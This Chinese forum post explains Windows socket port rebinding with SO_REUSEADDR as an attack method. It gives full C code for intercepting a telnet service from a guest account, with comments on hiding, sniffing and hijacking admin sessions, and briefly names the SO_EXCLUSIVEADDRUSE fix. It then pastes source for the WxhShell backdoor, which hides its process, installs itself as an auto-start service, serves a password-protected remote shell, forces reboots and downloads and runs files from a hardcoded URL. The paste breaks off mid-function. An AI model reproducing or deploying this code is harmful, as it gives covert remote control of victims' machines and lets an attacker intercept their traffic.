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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: RN}joKV  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); omznSL  
S<jiy<|`  
  saddr.sin_family = AF_INET; Z|fi$2k0!  
4TyzD%pOw  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); {?q`9[Z  
B%`| W@v  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); .V\~#Ro$G  
hi4-Z=pl  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 &M tF  
[mj=m?j  
  这意味着什么?意味着可以进行如下的攻击: cB_9@0r[S  
J@QOF+&  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 DliDBArxZ  
aHb&+/HZ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) I!}V+gu=  
eCWF0a  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 F+?i{$  
XfflD9M  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  RCi8{~rIvS  
4"\x#  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 @BPQ >  
O S#RCN*  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。  w%::~]  
Spu;   
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 l8:!{I?s=  
&gW<v\6,  
  #include kd_! S[  
  #include !T2{xmHKv$  
  #include $5\!ws<cZ  
  #include    {=,G>p  
  DWORD WINAPI ClientThread(LPVOID lpParam);   %_!0V*X*  
  int main() WncHgz  
  { j'Q0DF=GV  
  WORD wVersionRequested; l>L?T#v!_  
  DWORD ret; SL/'UoYm<  
  WSADATA wsaData; .Wr7*J[V.  
  BOOL val;  !VXy67  
  SOCKADDR_IN saddr; +Z-{6C  
  SOCKADDR_IN scaddr; X-Ev>3H  
  int err; :fnJp9c  
  SOCKET s; .JTRFk{W  
  SOCKET sc; k<Xb< U  
  int caddsize; 4^k8| # c  
  HANDLE mt; t=My=pG  
  DWORD tid;   V|F/ynJfA  
  wVersionRequested = MAKEWORD( 2, 2 ); s&+`>  
  err = WSAStartup( wVersionRequested, &wsaData ); q(WGvl^r  
  if ( err != 0 ) {  Lsai8 B  
  printf("error!WSAStartup failed!\n"); .gN ziDO  
  return -1; UtC<TBr  
  } \ So)g)K  
  saddr.sin_family = AF_INET; P[$idRS&  
   P.g./8N`z  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Nq^o8q_  
 Hyenn  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ,Z :2ba  
  saddr.sin_port = htons(23); eD3\>Y.z  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) mkPqxzxbrL  
  { MiKq|  
  printf("error!socket failed!\n"); M= |is*t  
  return -1; `c|H^*RC  
  } Z0O0Q=e\Y  
  val = TRUE; VC_F Cz  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 =v!Z8zk=W  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 8kr$w$=q  
  { XiV K4sD8  
  printf("error!setsockopt failed!\n"); -e?n4YO*\  
  return -1; VKw.g@BY  
  } XR p60i6f  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; lqgR4  !  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 2^75|Q  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 TKbfZw  
Tr4\ `a-i  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) &U CtyCz  
  { n5efHJU  
  ret=GetLastError(); L?P[{Ohh/  
  printf("error!bind failed!\n"); ^|vP").aQm  
  return -1; Fp"c {  
  } 9b&;4Yq!f  
  listen(s,2); b$pCp`/MT  
  while(1) lp5'-Jo  
  { k^cnNx  
  caddsize = sizeof(scaddr); O'xp"e,  
  //接受连接请求 Os]. IL$  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 44w "U%+  
  if(sc!=INVALID_SOCKET) ;% i-:<ac  
  { 0LP0q9S:9  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); EP<{3f y  
  if(mt==NULL) ?B)e8i<[f  
  { )7-mALyW  
  printf("Thread Creat Failed!\n"); WP Gp(X w  
  break; E7.{SGH}  
  } \d:Uq5d)0  
  } x_/l,4_  
  CloseHandle(mt); BeD>y@ it  
  } L_+ Fin  
  closesocket(s); X+ybgB4(  
  WSACleanup(); +afkpvj8  
  return 0; m;IKV,  
  }   {j<?+o5A  
  DWORD WINAPI ClientThread(LPVOID lpParam) SMU 8U  
  { u[4h|*'"|  
  SOCKET ss = (SOCKET)lpParam; [H9<JdUZ  
  SOCKET sc; V$iA3)7W%  
  unsigned char buf[4096]; /,j'V r\"  
  SOCKADDR_IN saddr; 8/y8tMm]  
  long num; J-azBi  
  DWORD val; mi5bk>o  
  DWORD ret; u*oP:!s  
  //如果是隐藏端口应用的话,可以在此处加一些判断 EG_P^ <z  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   KV'3\`v@LY  
  saddr.sin_family = AF_INET; .m%5Esx  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); hYA1N&yz@  
  saddr.sin_port = htons(23); c=a;<,Rzb  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) : Q2=t!  
  { usu{1&g  
  printf("error!socket failed!\n"); q[Ey!h)xq  
  return -1; zW hzU|=8  
  } aW;)-0+  
  val = 100; t-iQaobF  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _`laP5~  
  { hv#LKyp%  
  ret = GetLastError(); ^)$T`  
  return -1; 7s{['t  
  } }s#4m  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) '!4\H"t  
  { (Hmhb}H  
  ret = GetLastError(); y]!mN  
  return -1; 4{ZVw/VP,-  
  } yFDt%&*n^  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) naeppBo  
  { 5nmE*(  
  printf("error!socket connect failed!\n"); Wh"xt:  
  closesocket(sc); M0)ZJti  
  closesocket(ss); Fa </  
  return -1; OU^I/TU  
  } &sXk!!85:  
  while(1) D$D;'Kij  
  { Pp4Q)2X  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 8Bxb~*  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 41rS0QAM  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &`-e; Xt  
  num = recv(ss,buf,4096,0); yV6U<AP$3  
  if(num>0) })q8{Qj!  
  send(sc,buf,num,0); >Il{{{\>  
  else if(num==0) :g-vy9vb  
  break; Y8fel2;  
  num = recv(sc,buf,4096,0); [s%uE+``S  
  if(num>0) u)/i$N  
  send(ss,buf,num,0); 'g} Q@@b  
  else if(num==0) q%1B4 mF'  
  break; qV``' _=<  
  } Tv% Z|%*  
  closesocket(ss); /"R{1  
  closesocket(sc); <BBSC  
  return 0 ; tqKX\N=5^  
  } iRv \:.aQ.  
+<f+kh2L  
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========================================================== jq|fI P  
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下边附上一个代码,,WXhSHELL sd*NY  
jT-tsQ .,  
========================================================== Go~3L8 '  
:/fT8KCwo  
#include "stdafx.h" Ro2!$[P  
=trLL+vGw'  
#include <stdio.h> fCv.$5  
#include <string.h> -9s&OKo`({  
#include <windows.h> w (ev=)7<  
#include <winsock2.h> @ "C P@^  
#include <winsvc.h> _Pl5?5eZj  
#include <urlmon.h> M=EV^Tw-=  
Of<Vr.m{R  
#pragma comment (lib, "Ws2_32.lib") A2`Xh#o  
#pragma comment (lib, "urlmon.lib") <bywi2]z  
=}F$r5]  
#define MAX_USER   100 // 最大客户端连接数 RTL@WI  
#define BUF_SOCK   200 // sock buffer WtMDHfwqu\  
#define KEY_BUFF   255 // 输入 buffer d#I; e  
8Urj;KkD  
#define REBOOT     0   // 重启 S;nlC  
#define SHUTDOWN   1   // 关机 ^Uik{x  
C33RXt$X  
#define DEF_PORT   5000 // 监听端口 ^X:g C9  
sHSg _/|  
#define REG_LEN     16   // 注册表键长度 5hlS2fn  
#define SVC_LEN     80   // NT服务名长度 N_VWA.JHt  
@4]dv> Z  
// 从dll定义API #/hXcF  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); IBh?vh  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )hfI,9I~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); B+ZhQW  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); buMST&  
rp!{QG  
// wxhshell配置信息 |W|RX3D  
struct WSCFG { D}nRH@<`  
  int ws_port;         // 监听端口 9t&m\J >8;  
  char ws_passstr[REG_LEN]; // 口令 Z.U8d(  
  int ws_autoins;       // 安装标记, 1=yes 0=no  ;W@  
  char ws_regname[REG_LEN]; // 注册表键名 !q^2| %  
  char ws_svcname[REG_LEN]; // 服务名 A$::|2~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 h$$i@IO0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >WY\P4)k  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z3yAb"1Hg  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,T+.xB;Q@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [|L~" BB  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v)v`896S`  
j[:Iu#VR  
}; vUJQ<D  
[-3x*?Ju  
// default Wxhshell configuration }#`-mRaU  
struct WSCFG wscfg={DEF_PORT, g+KuK`\N%  
    "xuhuanlingzhe", WiF6*]oI  
    1, |'Ksy{lA  
    "Wxhshell", nh/%0=S  
    "Wxhshell", '77Gg  
            "WxhShell Service", T K Ec ^  
    "Wrsky Windows CmdShell Service", l3YS_WBSn  
    "Please Input Your Password: ", [4\n(/  
  1, 2P?|'U  
  "http://www.wrsky.com/wxhshell.exe", BPypjS0?8  
  "Wxhshell.exe" h09fU5l  
    }; Q^oB`)k  
,4S6F HK  
// 消息定义模块 .^[{~#Pc*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;PWx#v+vwF  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9Cq"Szs  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lXu6=r  
char *msg_ws_ext="\n\rExit."; }r ;#|=HR  
char *msg_ws_end="\n\rQuit."; <io;d$=}  
char *msg_ws_boot="\n\rReboot..."; Uk0 0lPG.U  
char *msg_ws_poff="\n\rShutdown..."; sN@=Ri?\  
char *msg_ws_down="\n\rSave to "; kaNK@a=e|/  
?w>-ya  
char *msg_ws_err="\n\rErr!"; 7\EY&KI"0  
char *msg_ws_ok="\n\rOK!"; k\}\>&Zqu  
~_ |ZUb  
char ExeFile[MAX_PATH]; ITBa ^P  
int nUser = 0; ?;CMsO*q  
HANDLE handles[MAX_USER];  7D\:i1~  
int OsIsNt; !2]'S=Y  
-zH` 9>J5|  
SERVICE_STATUS       serviceStatus; Ydh+iLjhx  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; DM3 %+ xY  
7H_*1_%ZQ  
// 函数声明 *T0!q#R  
int Install(void); 3KN})*1  
int Uninstall(void); nb #)$l  
int DownloadFile(char *sURL, SOCKET wsh); KDJ-IXoU  
int Boot(int flag); >vfbXnN  
void HideProc(void); rHD_sC*  
int GetOsVer(void); fwz-)?   
int Wxhshell(SOCKET wsl); !)LVZfQ0  
void TalkWithClient(void *cs); eBg:[4 4V  
int CmdShell(SOCKET sock); 71OQ?fc  
int StartFromService(void); XjU/7Q  
int StartWxhshell(LPSTR lpCmdLine); 0yBiio  
}"6 PM)s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +YCKd3/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); yFjjpEpnFt  
"D7wtpJ  
// 数据结构和表定义 50NLguE  
SERVICE_TABLE_ENTRY DispatchTable[] = i5Dq'wp  
{ ]O+W+h{]  
{wscfg.ws_svcname, NTServiceMain}, EOzw&M];r  
{NULL, NULL} 2#xz,RM.  
}; xA]}/*  
O <"\G!y~  
// 自我安装 N:&EFfg3  
int Install(void) >\ x!a:}  
{ a0 8Wt  
  char svExeFile[MAX_PATH]; \jHIjFwQ  
  HKEY key; w ;xbQZ|+  
  strcpy(svExeFile,ExeFile); m53~Ysq<  
d9.~W5^fC  
// 如果是win9x系统,修改注册表设为自启动 m-MfFEZ  
if(!OsIsNt) { "aJf W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q;0 g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3\0,>L9ET@  
  RegCloseKey(key); @XN|R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M|}V6F_y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @agxu-Y  
  RegCloseKey(key); y5`$Aa4~  
  return 0; 9; `E,w  
    } <@J0 770  
  } HCZVvsG  
} G)3Q|Vc  
else { P|QM0GI  
4~Jg\@  
// 如果是NT以上系统,安装为系统服务 + vO; J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /DoSU>%hK  
if (schSCManager!=0) 9 1ndr@*|  
{ JbXd9AMh2  
  SC_HANDLE schService = CreateService ^H~g7&f9?N  
  ( ISi^BFU  
  schSCManager, GVld]ioycG  
  wscfg.ws_svcname, g& ?{^4t]  
  wscfg.ws_svcdisp, l$g \t]  
  SERVICE_ALL_ACCESS, =a!_H=+4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \<W/Z.}/  
  SERVICE_AUTO_START, F6gU9=F1<  
  SERVICE_ERROR_NORMAL, 'QC'*Hl  
  svExeFile, 87yZd8+)  
  NULL, in#lpDa[  
  NULL,  r74' _y  
  NULL, :fA|J!^b[  
  NULL, MWJ}  
  NULL e^yfoE<7  
  ); b&2 N7%  
  if (schService!=0) _Z_R\  
  { j kV9$W0  
  CloseServiceHandle(schService); I T?~`vi  
  CloseServiceHandle(schSCManager); );=0cnr3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); s |!lw  
  strcat(svExeFile,wscfg.ws_svcname); 1Ms_2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8M8Odz\3 q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); X|dlVNL8p  
  RegCloseKey(key); NY"+Qw@$  
  return 0; $tB `dDj  
    } xzz0uk5  
  } XS=f>e1<W  
  CloseServiceHandle(schSCManager); }0AoV&75  
} @|EWif|  
} DAf0bh"  
jhH&}d9  
return 1; ) m(!lDz3  
} Wg\MaZ6Di  
BI+x6S>d  
// 自我卸载 j] J-#J  
int Uninstall(void) m"GgaH3,  
{ C_S2a 0?  
  HKEY key; 3wN{k\n s  
Q)2i{\GPVn  
if(!OsIsNt) { =buarxk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '9@AhiNV  
  RegDeleteValue(key,wscfg.ws_regname); #T++5G  
  RegCloseKey(key); K8RV=3MBLD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l- $5CO  
  RegDeleteValue(key,wscfg.ws_regname); U<I]_]  
  RegCloseKey(key); t 09-y  
  return 0; 3@wio[  
  } l4*vM  
} _0"s6D$  
} bi[g4,`Z;  
else {  xq&r|el  
1 RVs!;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d'@i8N["{  
if (schSCManager!=0) 00/ RBs 5  
{ W0XfU`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); W5Vh+'3  
  if (schService!=0) (/KeGgkhv  
  { jbWgL$  
  if(DeleteService(schService)!=0) { HsKq/Oyk  
  CloseServiceHandle(schService); "xAIK  
  CloseServiceHandle(schSCManager); \hI|I!sDWy  
  return 0; OM?FpRVU8  
  } F+)g!NQZ  
  CloseServiceHandle(schService); PFjh]/=  
  } =HjC.h  
  CloseServiceHandle(schSCManager); 13fyg7^JP  
} /Xl(>^|&  
} Pye/o  
:QIf0*.O  
return 1; Nr?CZFN#  
} +<bvh<]Od  
^Q9K]Vo  
// 从指定url下载文件 KzQuLD(e  
int DownloadFile(char *sURL, SOCKET wsh) = OzpI  
{ r6vI6|1  
  HRESULT hr; ~DP5Qi  
char seps[]= "/"; IO7cRg'-F  
char *token; lC@wCgc  
char *file; `*3;sq%`  
char myURL[MAX_PATH]; x27$h)R0v  
char myFILE[MAX_PATH]; ;$3e pP  
T_[  
strcpy(myURL,sURL); NZz^*Ela  
  token=strtok(myURL,seps); Yf_/c*t\5  
  while(token!=NULL) -J>f,zA  
  { d)GR]^=r  
    file=token; 9r> iP L2H  
  token=strtok(NULL,seps); 8ib e#jlg  
  } Mavid kS  
Vg}+w Nt5  
GetCurrentDirectory(MAX_PATH,myFILE); Cz6bD$5  
strcat(myFILE, "\\"); ssAGWP  
strcat(myFILE, file); /9o6R:B  
  send(wsh,myFILE,strlen(myFILE),0); +V;d^&S  
send(wsh,"...",3,0); `NfwW:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); W&HxMi  
  if(hr==S_OK) (_AU)  
return 0; 5Gm8U"UR  
else jT`u!CwdT  
return 1; q"Sja!-;|  
NjKC{L5S:  
} wLxuSs|  
.Hg{$SAC(w  
// 系统电源模块 g){gF(   
int Boot(int flag) >0?ph<h1[q  
{ qv[w 1;U"  
  HANDLE hToken; GJ:oUi  
  TOKEN_PRIVILEGES tkp; 2V*;=cv~z  
MAQ-'s@  
  if(OsIsNt) { !LCy:>i!d  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); A4 /gVi|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >:h&5@^ j$  
    tkp.PrivilegeCount = 1; lQxEiDIL  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ra8AUj~RX  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,6ae='=d  
if(flag==REBOOT) { Fb ~h{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) qe/5'dw  
  return 0; u q A!#E  
} zXk^u gFy  
else { / 2MhP=,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) oJ|m/i)  
  return 0; G=l:v  
} xl Q]"sm1  
  } t ?05  
  else { 5"bg 8hL  
if(flag==REBOOT) { [AYJ(H/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &~'i,v|E  
  return 0; j Q8 T  
} y5XFJj  
else { ^4xl4nbx  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?rziKT5OOC  
  return 0; }{mS"  
} %vbov}R  
} _+Z5qUmQ  
!wC( ]Y  
return 1; /T 2 v`Li  
} ExF6y#Y G<  
>8&fFq  
// win9x进程隐藏模块 N*\r i0  
void HideProc(void) l;@bs  
{ kx;7/fH  
Q_dMuoI  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); HkY#i;%N  
  if ( hKernel != NULL ) "whs?^/  
  { fcy4?SQ.<i  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /N,\st  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); x6ayFq=  
    FreeLibrary(hKernel); 5Q:%f  
  } &da:{  
'j!n   
return; ]W5p\(1g  
} qpzyl~g:C  
M!X^2  
// 获取操作系统版本 (EH}lh }%  
int GetOsVer(void) @z:E]O}  
{ L uW""P/  
  OSVERSIONINFO winfo; Ucz=\dO1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2`A[<S  
  GetVersionEx(&winfo); RL H!f1cta  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) W$W w/mcl+  
  return 1; bf.yA:~U  
  else y1[@4TY]  
  return 0; %*RZxR):  
} }}bMq.Q'  
= J]M#6N0  
// 客户端句柄模块 y qK*E*  
int Wxhshell(SOCKET wsl) (W}DMcuSd  
{ \f=kQbM  
  SOCKET wsh; =5:S"WNj  
  struct sockaddr_in client; 74&{GCL  
  DWORD myID; lXEn m-_  
;|W:,a{kS  
  while(nUser<MAX_USER) b|iIdDK  
{ &VcO,7 A|  
  int nSize=sizeof(client); 0g; o6Fg  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); b5ul|p  
  if(wsh==INVALID_SOCKET) return 1; J*m7 d4^  
igEqty!.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0uIBaW3s  
if(handles[nUser]==0) ?mN!9/DIc  
  closesocket(wsh); yo%Nz"  
else `?f<hIJoz  
  nUser++; M1T.  
  } m"6K_4r]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); p#3G=FV  
 m3^D~4  
  return 0; mx#)iHY  
} F? ps? e  
hegH^IN M  
// 关闭 socket ej1WkaR8  
void CloseIt(SOCKET wsh) B?Rkz  
{ [Dmf.PUe  
closesocket(wsh); fwh/#V-i  
nUser--; R<%{I)  
ExitThread(0); ^:,wk7  
} ooP{Q r  
o 9(x\g  
// 客户端请求句柄 P% 8U  
void TalkWithClient(void *cs) 3,#v0#  
{ Ndyo)11z  
E`{DX9^  
  SOCKET wsh=(SOCKET)cs; Mm1>g~o  
  char pwd[SVC_LEN]; s6#e?5J  
  char cmd[KEY_BUFF]; Ps;4]=c  
char chr[1]; N/<c;"o  
int i,j; ="P FCxi  
XqwP<5Z  
  while (nUser < MAX_USER) { .F[5{XV  
d/awQXKe7  
if(wscfg.ws_passstr) { P0U&+^W"9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4ElS_u^cP7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?6L8#"=  
  //ZeroMemory(pwd,KEY_BUFF); 9e}%2,  
      i=0; !|z!e>0  
  while(i<SVC_LEN) { `LKf$cx(A  
;%cW[*Dw  
  // 设置超时 25r3[gX9`  
  fd_set FdRead; '@IReMl  
  struct timeval TimeOut; 2=%]Ax"R  
  FD_ZERO(&FdRead); f hNJB0  
  FD_SET(wsh,&FdRead); $ f||!g  
  TimeOut.tv_sec=8; gvL*]U7  
  TimeOut.tv_usec=0; S,f#g?V  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); woF {O)~X  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {xTh!ih2 -  
wF59g38[z$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); " RIt  
  pwd=chr[0]; !lA~;F  
  if(chr[0]==0xd || chr[0]==0xa) { *y$CDv  
  pwd=0; kf#S"[/E  
  break; : #so"O  
  } `-K[$V  
  i++; NL2D,  
    } Q]/{6:C  
%:Y(x$Qy  
  // 如果是非法用户,关闭 socket %*Vr}@BA)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); I1s$\NZ~]  
} lhf5[Rp  
l)'*jZ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); sE!g!ht  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u yE#EnsH  
q-,`\ TS  
while(1) { Nus]]Iy-g  
"v0SvV<7  
  ZeroMemory(cmd,KEY_BUFF); hW6Ksn,*  
uD[T l  
      // 自动支持客户端 telnet标准   09{s'  
  j=0; U!E}(9 tb  
  while(j<KEY_BUFF) { 2Uu!_n}tNF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KuL+~  
  cmd[j]=chr[0]; "|R75m,Id  
  if(chr[0]==0xa || chr[0]==0xd) { |$+/IxDP  
  cmd[j]=0; @=Dc(5`[  
  break; ?ef7%0  
  } yf-2E_yB  
  j++; (T&(PCw|  
    } mHJGpJ=a-  
&5[+p{2  
  // 下载文件 E]S:F3  
  if(strstr(cmd,"http://")) { K$r)^K=s  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6z:/ma^  
  if(DownloadFile(cmd,wsh)) SwaPRAF  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1=`VaS  
  else q!~DCv df  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qG9j}[d'  
  } $D D esy3  
  else { /s+S\ djk  
-"^xg"  
    switch(cmd[0]) { rhly.f7N=A  
  u g;~dhe~  
  // 帮助 {kb7u5-  
  case '?': { (.L?sDQ</z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >p" U|  
    break; oq|`;k   
  } _A0X[}^K  
  // 安装 nE2?3S>  
  case 'i': { .M ID)PY-  
    if(Install()) |ZXz&Xor  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "=JE12=u  
    else /FC(d5I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8HHR  
    break; 7KJ0>0~Et  
    } ={;+0Wjb8  
  // 卸载 m}S}fH(  
  case 'r': { W5~!)Ec  
    if(Uninstall()) ?{5}3a bB`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X|QokAR{$>  
    else .])X.7@x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  Vo%Z|  
    break; c%(Nd i  
    } R|` `A5zQ  
  // 显示 wxhshell 所在路径 <s$T7Zk  
  case 'p': { 0;`+e22  
    char svExeFile[MAX_PATH]; Sq:J'%/z  
    strcpy(svExeFile,"\n\r"); :2')`xT  
      strcat(svExeFile,ExeFile); GaL UZviJ_  
        send(wsh,svExeFile,strlen(svExeFile),0); 2v#gCou  
    break; q:iu hI$~G  
    } UnEgsf N  
  // 重启 !41"`D!1  
  case 'b': { [;ZC_fD  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); vF>]9sMv  
    if(Boot(REBOOT)) (A=Z,ed  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $H]NC-\+>  
    else { aygK$.wos  
    closesocket(wsh); W"CG&.  
    ExitThread(0); PAxR?2m{  
    } S 2W@;XvV  
    break; ^\Q%VTM  
    } ZvO1=* J,  
  // 关机 ~`B]G  
  case 'd': { W/CZ/Mc  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ta PqRsvu  
    if(Boot(SHUTDOWN)) In+2~Jw/2!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #^$_3A Y  
